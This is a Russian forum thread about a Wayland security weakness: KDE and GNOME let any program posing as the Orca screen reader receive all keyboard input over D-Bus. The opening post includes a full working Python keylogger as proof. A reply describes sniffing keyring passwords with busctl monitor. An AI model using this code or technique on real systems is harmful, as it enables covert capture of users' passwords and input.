LINUX.ORG.RU
Форум — Talks  

В Wayland завезли интерфейс для кейлоггеров из коробки

 , , ,


6

7

Привет, чят!

Как ты знаешь, одним из отличительных недостатков Wayland в сравнение с X11 является невозможность произвольной программой получить доступ к вводу с клавиатуры и захакернуть все твои пароли. Как минимум, в KDE и GNOME этот недостаток теперь исправлен.

Одним из валидных случаев, когда программе может требоваться весь ввод, является софт для людей с нарушениями зрения и т.д. В Linux такую роль исполняет Orca. Для того, чтобы обеспечить доступ Orca к событиям ввода, в KDE и GNOME добавили специальный интерфейс в dbus org.freedesktop.a11y.KeyboardMonitor, подписавшись на который можно собственно получать всю инфу. Возникает закономерный вопрос: как же определить, что доступ пытается получить именно Orca, а не злобный хакерский скрипт?

Ответ: KWin (композитор KDE) и Mutter (GNOME) проверяют… имя программы в dbus. И всё. Соответственно, любая программа, назвавшаяся org.gnome.Orca, получает по dbus доступ к вводу с клавиатуры и может захакеровывать твои пароли, ЛОРовец.

Пруф:

#!/usr/bin/env python3

import gi
gi.require_version('Gio', '2.0')
from gi.repository import Gio, GLib

bus = Gio.bus_get_sync(Gio.BusType.SESSION)

# Claim the Orca screen reader bus name
result = bus.call_sync(
    'org.freedesktop.DBus',
    '/org/freedesktop/DBus',
    'org.freedesktop.DBus',
    'RequestName',
    GLib.Variant('(su)', ('org.gnome.Orca.KeyboardMonitor', 0)),
    GLib.VariantType('(u)'),
    Gio.DBusCallFlags.NONE,
    -1, None
)
print(f"[*] RequestName result: {result}")  # 1 = acquired

# Now call WatchKeyboard
bus.call_sync(
    'org.freedesktop.a11y.Manager',
    '/org/freedesktop/a11y/Manager',
    'org.freedesktop.a11y.KeyboardMonitor',
    'WatchKeyboard',
    None, None,
    Gio.DBusCallFlags.NONE,
    -1, None
)
print("[+] WatchKeyboard succeeded!")

# Listen for KeyEvent signals
def on_key_event(connection, sender, path, interface, signal, params):
    pressed, flags, keysym, charcode, scancode = params.unpack()
    if pressed: # True = released, we log on press instead
        return

    if charcode >= 32 and charcode < 127:
        char = chr(charcode)
        print(f"{char}", end="", flush=True)
    elif keysym == 65293:
        print(f"\n", end="", flush=True)
    elif keysym == 65288:
        print(f"[BS]", end="", flush=True)
    elif keysym == 65289:
        print(f"[TAB]", end="", flush=True)
    elif keysym == 65507 or keysym == 65508:
        print(f"[CTRL]", end="", flush=True)
    elif keysym == 65505 or keysym == 65506:
        print(f"[SHIFT]", end="", flush=True)
    elif keysym == 65513 or keysym == 65514:
        print(f"[ALT]", end="", flush=True)
    elif keysym == 65515:
        print(f"[SUPER]", end="", flush=True)
    else:
        print(f"[{keysym}]", end="", flush=True)

bus.signal_subscribe(
    None,
    'org.freedesktop.a11y.KeyboardMonitor',
    'KeyEvent',
    None, None,
    Gio.DBusSignalFlags.NONE,
    on_key_event
)

print("[*] Listening for keystrokes...")
loop = GLib.MainLoop()
try:
    loop.run()
except KeyboardInterrupt:
    print("\n[*] Cleaning up")
    bus.call_sync(
        'org.freedesktop.a11y.Manager',
        '/org/freedesktop/a11y/Manager',
        'org.freedesktop.a11y.KeyboardMonitor',
        'UnwatchKeyboard',
        None, None,
        Gio.DBusCallFlags.NONE,
        -1, None
    )

Скрипту требуется пакет pygobject3 и всё. Скрипт печатает все события с клавиатуры в консольку, пока не получит ^C.

Код и прочая инфа взяты отсюда: https://linnemanlabs.com/posts/hello-my-name-is-orca/

В общем, чят, вот такое вот забавное состояние безопасности в Wayland, над которым работают суровые профессионалы.

P.S. бонусом, если вместо метода WatchKeyboard дёрнуть метод GrabKeyboard, весь ввод уйдёт твоему скрипту, а обычные окна получат шиш. В общем, всё абсолютно как в X11. А ещё через это можно глобальные хоткеи сделать. Наконец-то паритет по фичам достигнут!



Последнее исправление: yorshka (всего исправлений: 1)
Ответ на: комментарий от i-rinat

Так дыра же не в дисплейном протоколе

Дыра в двух основных реализациях этого протокола, вызванная убогостью собственно самого протокола и необходимостью как-то вокруг него работать.

yorshka
() автор топика
Ответ на: комментарий от wandrien

Я слабо представляю, как такое на десктоп массово пойти может. С другой стороны: хотите безопасности? Получите банальное огораживание.

bbc69
()
Ответ на: комментарий от wandrien

Помог бы, если бы кое у кого хватало ума его использовать.

SELinux не фильтрует dbus. Если у проги тут есть доступ к session bus, то всё, можно закрывать контору.

Впрочем, dbus – это просто полная дырень. Можно, например, запустить busctl --user monitor без каких-либо лишних прав и спокойно смотреть, как из твоего gnome-keyring/kwallet пароли проплывают обычным текстом. Безопасность в лялексе – это абсолютно потрясающий цирк.

yorshka
() автор топика
Ответ на: комментарий от yorshka

Сентимент понятен, как говорится. Но заявлять, что интерфейс для кейлоггеров завезли в Wayland — явное враньё. Такой подход дискредитирует критику проблем Wayland. Мол, смотрите, какую клоунаду развели, нет смысла к их словам прислушиваться.

i-rinat ★★★★★
()
Ответ на: комментарий от i-rinat

Такой подход дискредитирует критику проблем Wayland.

АХАХАХАХХАХАХАХАХАХАХАХАХАХАХАХАХ

Прости, а поехавшие разработчики, по 5 лет обсуждающие банальный протокол, тебе ничего не дискредитируют?

Мол, смотрите, какую клоунаду развели, нет смысла к их словам прислушиваться.

Мне что-то кажется, за прошедшие 18 лет существования Wayland все должны были ясно уяснить, что на мнение разработчиков этого поделия и их желание к кому-то прислушиваться нужно класть большой и толстый болт. Например, Wayland стал пригоден для игр только когда Габен и его ребята именно вот так и поступили и стали пилить свои протоколы в обход мнения анальных клованов с Freedesktop: сразу же и FIFO появилось, и тайминги, и рисовать в коллбеке больше не требуется.

yorshka
() автор топика
Последнее исправление: yorshka (всего исправлений: 1)
Ответ на: комментарий от bbc69

С другой стороны: хотите безопасности? Получите банальное огораживание.

Это ложная альтернатива.

У нормальных людей сначала делается механизм управления доступом, потом к нему пишутся политики под конкретное применение.

В разработке вялого сразу всё пошло по одному месту на уровне архитектуры.

«Нет значит ненужно», «Безопасно это когда всё прибито гвоздями» и «Я этим не пользуюсь значит никто не пользуется».

Сейчас вон до деградировались до троян-АПИ и проверки уровня «йа нитроян мамой клянус».

Господи, как на этот позор смотреть и не разбить лицо фейспальмом…

wandrien ★★★★
()
Ответ на: комментарий от yorshka

SELinux не фильтрует dbus.

Я помню, что еще у иксов делали механизм, чтобы можно было проверять мандаты клиентов через централизованную политику. Без «мамой клянусь».

Деталей уже не вспомню.

wandrien ★★★★
()
Ответ на: комментарий от yorshka

как из твоего gnome-keyring/kwallet пароли проплывают обычным текстом. Безопасность в лялексе – это абсолютно потрясающий цирк.

Господи прости…

wandrien ★★★★
()
Ответ на: комментарий от wandrien

как из твоего gnome-keyring/kwallet пароли проплывают обычным текстом. Безопасность в лялексе – это абсолютно потрясающий цирк.

Господи прости…

Если какая-то программа открыла твой GNOME Keyring, любая другая программа может запросить оттуда вообще любой пароль.

There was a security issue (known as CVE-2018-19358) reported in the past regarding the behaviour of the GNOME/Keyring API. Any application can easily read any secret if the keyring is unlocked. And, if a user is logged in, then the login/default collection is unlocked. Available D-Bus protection mechanisms (involving the busconfig and policy XML elements) are not used by default and would be easy to bypass anyway.

The GNOME project disagrees with this vulnerability report because, according to their stated security model, untrusted applications must not be allowed to communicate with the secret service.

https://wiki.archlinux.org/title/GNOME/Keyring

https://gitlab.gnome.org/GNOME/gnome-keyring/-/work_items/5#note_1876550

https://blog.vaxry.net/articles/2025-dbusSucks

yorshka
() автор топика
Последнее исправление: yorshka (всего исправлений: 1)
Ответ на: комментарий от yorshka

Свои ивенты совать нельзя.

zwlr_virtual_pointer_v1
zwp_virtual_keyboard_v1

Там вроде как есть какая-то заявка на опрос пользователя для выдачи разрешения на их работу. Но в Sway перемещение указателя мыши+клики (wlrctl pointer) и ввод текста (wtype) работают сразу же, без каких-либо проверок.

i-rinat ★★★★★
()
Ответ на: комментарий от i-rinat

zwlr_virtual_pointer_v1

Я про dbus-интерфейс для Orca.

yorshka
() автор топика
Ответ на: комментарий от yorshka

Прости

Прощаю.

а поехавшие разработчики, по 5 лет обсуждающие банальный протокол, тебе ничего не дискредитируют?

Это как-то опровергает мой тезис?

i-rinat ★★★★★
()
Ответ на: комментарий от i-rinat

а поехавшие разработчики, по 5 лет обсуждающие банальный протокол, тебе ничего не дискредитируют?

Это как-то опровергает мой тезис?

Да. Если на мнение цирка в freedesktop кладётся болт, то никакой дискредитации не происходит.

yorshka
() автор топика
Ответ на: комментарий от wandrien

If they do, then they are not properly sandboxed. We have a secrets portal for a reason. Never give an application access to the secret service unless you fully trust it with all your passwords. Sandboxed applications should use the secrets portal instead.

Да, я оценил.

yorshka
() автор топика
Ответ на: комментарий от i-rinat

Такой подход дискредитирует критику проблем Wayland. Мол, смотрите, какую клоунаду развели, нет смысла к их словам прислушиваться.

+1. Сделали временную заглушку (о чем перед коммитом и написали), чтобы зависящие от Orca юзеры могли пользоваться системой.

altwazar ★★★★★
()
Ответ на: комментарий от bbc69

Продолжим серию тупых вопросов: SELinux нам поможет?

Конкретно от этой дырки? Её можно просто выключить в dbus-е.

А сам SELinux не фильтрует dbus, плюс это на столько сложная в настройке и поддержки штука, что для типичного десктопного использования она не применима на практике (его правила в дистрибутивах покрывают только всякие системные сервисы, а не гуи приложения).

altwazar ★★★★★
()
Ответ на: комментарий от PPP328

С другой стороны - как они узнают, что приложение «мамой клянусь, я Orca» это всамделишное приложение, а не самозванец?

Bfgeshka ★★★★★
()
Ответ на: комментарий от altwazar

Всё бы хорошо, если бы только вейленд не вводили в том числе под эгидой безопасности. А тут: ни тебе контрольной суммы, ни ввода пароля каждый раз, ни ограничения прав, ни плашки какой, ни-че-го. Ладно, Васяны так свой сервер настраивают, у них там защита по принципу неуловимого Джо. Но тут-то…

bbc69
()
Ответ на: комментарий от Bfgeshka

Сама идея гонять такие данные по общей шине без авторизации и проверок (да хотя бы «приложение Orca хочет получить доступ к… Разрешить?») - верх идиотизма, особенно принимая во внимание что «установка окном своих координат - НИБИЗАПАСНА!».

PPP328 ★★★★★
()
Ответ на: комментарий от altwazar

+1. Сделали временную заглушку (о чем перед коммитом и написали), чтобы зависящие от Orca юзеры могли пользоваться системой.

Это максимально порочный подход — давайте сделаем огромную дырень для всех, чтобы <1% юзеров могли чем-то там пользоваться.

Я не против всяких «специальных возможностей» в целом, конечно. Но такое должно быть отключено по умолчанию и включаться принудительно — только на тех системах, на которых это нужно.

При всём уважении и жалости к незрячим людям, помощь таковым (едва заметному меньшинству из и так меньшинства пользователей Wayland) не должна делаться во вред обычным зрячим пользователям. То же самое с глухими, однорукими и прочими-прочими. Не нужно их ставить во главу угла, а «специальные возможности» должны специально и эксплицитно включаться, а не быть включены для всех, особенно когда они являются огромной дыренью.

CrX ★★★★★
()
Ответ на: комментарий от bbc69

Всё бы хорошо, если бы только вейленд не вводили в том числе под эгидой безопасности.

Так изоляция работает, этот временный костыль можно погасить самому или на уровне дистрибутива. Заткнут дырку в dbus или придумают другой способ передавать таких программам нажатия.

altwazar ★★★★★
()
Ответ на: комментарий от CrX

Это максимально порочный подход — давайте сделаем огромную дырень для всех, чтобы <1% юзеров могли чем-то там пользоваться.

Ну, некоторые еще вообще на иксах сидят, как раз ради функций для <1% юзеров. Через некоторое время и эту проблему исправят. Тут вопрос только в том, почему оно по дефолту разрешено в апстриме и дистрибутивах.

altwazar ★★★★★
()
Ответ на: комментарий от altwazar

Ну, некоторые еще вообще на иксах сидят, как раз ради функций для <1% юзеров.

Ну так и пускай, кто ж против?

Тут вопрос только в том, почему оно по дефолту разрешено в апстриме и дистрибутивах.

Да, вопрос в том, почему оно по дефолту разрешено, и надо принудительно запрещать. Должно быть ровно наоборот — по дефолту запрещено, и надо принудительно разрешать — вот это было бы правильным поведением. Кому надо — пропишут соответствующие строчки в конфиг (ну или в гуе натыкают в DE, соответственно, с соответствующим жирным предупреждением, что это снижает безопасность).

И нет, не надо это перекладывать на мейнтейнеров дистрибутивов. Их сложно винить — за каждой новой подлянкой от гномосеков не уследишь. Оно должно из коробки быть выключено в самом dbus. Кому надо — включат. Если у тебя дистр для слепых — то ты тоже включишь, как мейнтейнер. Или сделаешь пакет, который будет это включать (просто состоять из соответствующего конфига в /etc/dbus-1/session.d), который установят те, кому оно надо (или который подтянется по зависимости, допустим, мета-пакета «всё для слепых»). И так далее. Дело в умолчании.

CrX ★★★★★
()
Последнее исправление: CrX (всего исправлений: 1)

Десятое правило Гринспена гласит: «Любая достаточно сложная программа на Си или Фортране содержит заново написанную, неспецифицированную, глючную и медленную реализацию половины языка Common Lisp». Вот, похоже для wayland’а мы имеем то же самое. Начали с «да нафиг нам ничо не надо, хотим тупо пиксели на поверхности рисовать», а потом, спустя почти два десятилетия непрерывных усилий имеем заново написанную, неспецифицированную, глючную и медленную реализацию большей половины спецификации иксов. Это победа (но у неё странный вкус).

ugoday ★★★★★
()
Ответ на: комментарий от Bfgeshka

Мы, линуксоиды не обманываем друг друга.

ugoday ★★★★★
()
Ответ на: комментарий от altwazar

На иксах все сидят, кто умеет выбирать.

firkax ★★★★★
()
Ответ на: комментарий от altwazar

Как бы тебе объяснить… ТАК делать нельзя. Это даже не уровень джуна, а каких-то олигофренов. Куда там сеньоры смотрели? Ну хоть что-то могли бы придумать.

bbc69
()
Ответ на: комментарий от CrX

Не нужно их ставить во главу угла, а «специальные возможности» должны специально и эксплицитно включаться

Хм… Ты намекаешь на то, что решение включить это по умолчанию из-за политических предпочтений программистов?

bbc69
()
Ответ на: комментарий от bbc69

Как бы тебе объяснить… ТАК делать нельзя.

Там единственный спорный момент - включение этого по умолчанию. А в самой временной затычке проблем нет.

altwazar ★★★★★
()
Ответ на: комментарий от altwazar

Не единственный. Если бы они при включении этой штуки включали бы задорную пищалку и посылали бы (неотключаемое) уведомление: «Орка запущена!», можно было бы сказать, что они хоть немного подумали о безопасности методом «ну не дураки же Линукс используют» и дальше ворчать на тему того, что недостаточно безопасно для заплатки.

bbc69
()
Ответ на: комментарий от bbc69

Хм… Ты намекаешь на то, что решение включить это по умолчанию из-за политических предпочтений программистов?

Сложно сказать. Но поскольку руку приложили гномовцы, вполне возможно.

CrX ★★★★★
()
Ответ на: комментарий от bbc69

Смысла нет, если бы эта штука включалась вручную или при выборе во время установки дистрибутива этой опции для инвалидов.

altwazar ★★★★★
()
Ответ на: комментарий от altwazar

То есть на безопасность инвалидов пофиг?

Хотя зачем я задаю эти риторические вопросы… Если системного мышления в голове нет, то его нет.

«Временная заплатка»-ориентированное программирование.

wandrien ★★★★
()
Ответ на: комментарий от yorshka

В качестве временной заплатки мы разрешили приложению обходить изоляцию контейнера, если оно скажет, что "не троян, мамой клянусь". — Ждём в следующих релизах?

wandrien ★★★★
()
Последнее исправление: wandrien (всего исправлений: 1)
Ответ на: комментарий от wandrien

То есть на безопасность инвалидов пофиг?

Не стоит забывать, что на той же винде или в иксах подобной изоляции приложений в плане ввода вообще нет. Инвалидам явно важнее возможность пользоваться системой, чем ожидать «правильное» решение.

altwazar ★★★★★
()
Ответ на: комментарий от altwazar

Не стоит забывать, что разрабы вяленого кое-что обещали в плане модели угроз, в то время как Иксы не обещали ничего подобного.

wandrien ★★★★
()
Ответ на: комментарий от wandrien

Практика важнее, чем беспрекословное следование обещаниям.

У меня вообще вопрос скорее в том, почему вдруг для какой-то кучки инвалидов идут на такие меры (не удивлюсь, если слепых пользователей линукса можно по пальцам пересчитать), а по затрагивающим большие массы людей таких движений нет.

Вспоминается как разработчики гнома отказывались принять изменения для возможности нормально настраивать мышку в гуи под предлогом, что это для геймеров, и приняли потом ради виртуального больного болезнью паркинсона.

altwazar ★★★★★
()
Ответ на: комментарий от altwazar

Вспоминается как разработчики гнома отказывались принять изменения для возможности нормально настраивать мышку в гуи под предлогом, что это для геймеров, и приняли потом ради виртуального больного болезнью паркинсона.

Кажется, моя гипотеза верна. Печально.

bbc69
()
Ответ на: комментарий от bbc69

Меня это в целом удивляет. Двадцать лет в линуксе мышку нормально через гуй и без гугла настроить нельзя, а они о слепых думают. Если уж такой простой и общий в плане юзабилити вопрос не получается решить, то что же там должно происходить со сложными. Подозреваю, что линуксом слепым что с оркой, что без пользоваться невозможно.

altwazar ★★★★★
()

Несекурно. Срочно переписать. Нет, мы должны немедленно собрать рабочую группу из молодых и талантливых инженеров для создания более современного дисплейного сервера. Писать, конечно, будет искусственный супер интеллект и только на раст. Понимая всю важность и сложность проекта, МЫ готовы встать в авангарде и заняться планированием бюджета на ближайшие 18 лет. Ура, Товарищи.

arrecck ★★★★
()
Ответ на: комментарий от altwazar

Ты как будто по сторонам не смотришь. Я вот как-то больше по фильмам, сериалам и играм выводы делаю и давно заметил: чем активистнее активист, тем хуже результат в конечном итоге. По какой-то причине это идёт строго в противоположном направлении от профессионализма.

Потому и опечалился.

bbc69
()
Ответ на: комментарий от arrecck

аняться планированием бюджета на ближайшие 18 лет.

А потом что делать будешь? Тут минимум 36 лет и напарник нужен.

bbc69
()
Ответ на: комментарий от bbc69

А потом что делать будешь? Тут минимум 36 лет и напарник нужен.

Как что? Писать новый дисплейный сервер.

arrecck ★★★★
()
Ответ на: комментарий от altwazar

Двадцать лет в линуксе мышку нормально через гуй и без гугла настроить нельзя, а они о слепых думают.

О.. это про GNOME как раз :DDD

Там Ебусси недавно вылез и заявил, что добавить настройку ускорения прокрутки – это слишком сложно, юзкейсов нет.

yorshka
() автор топика
Вы не можете добавлять комментарии в эту тему: только для зарегистрированных, score>=50.